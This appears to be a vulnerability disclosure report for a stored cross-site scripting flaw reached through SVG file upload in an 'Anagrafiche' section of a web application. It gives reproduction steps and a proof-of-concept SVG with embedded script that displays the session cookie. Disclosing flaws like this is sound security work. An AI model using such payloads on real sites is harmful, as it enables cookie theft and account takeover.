✍️ Description

Stored xss through file upload via anagrafiche

🕵️‍♂️ Proof of Concept

Go to an existing Anagrafiche or create a new one. Upload a .svg file with the following content:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>

give a name you want ending with .svg (store-xss.svg) for example. when you click on the uploaded image a new window will open which pops up an xss with the cookie in it.

💥 Impact

Possible to steal admin cookies or take over another account via cookie grepping.

💥 Remediation

Sanitize user input.

💥 References

https://owasp.org/www-community/attacks/xss/

https://en.wikipedia.org/wiki/Cross-site_scripting

https://www.acunetix.com/websitesecurity/cross-site-scripting/

https://www.imperva.com/learn/application-security/cross-site-scripting-xss-attacks/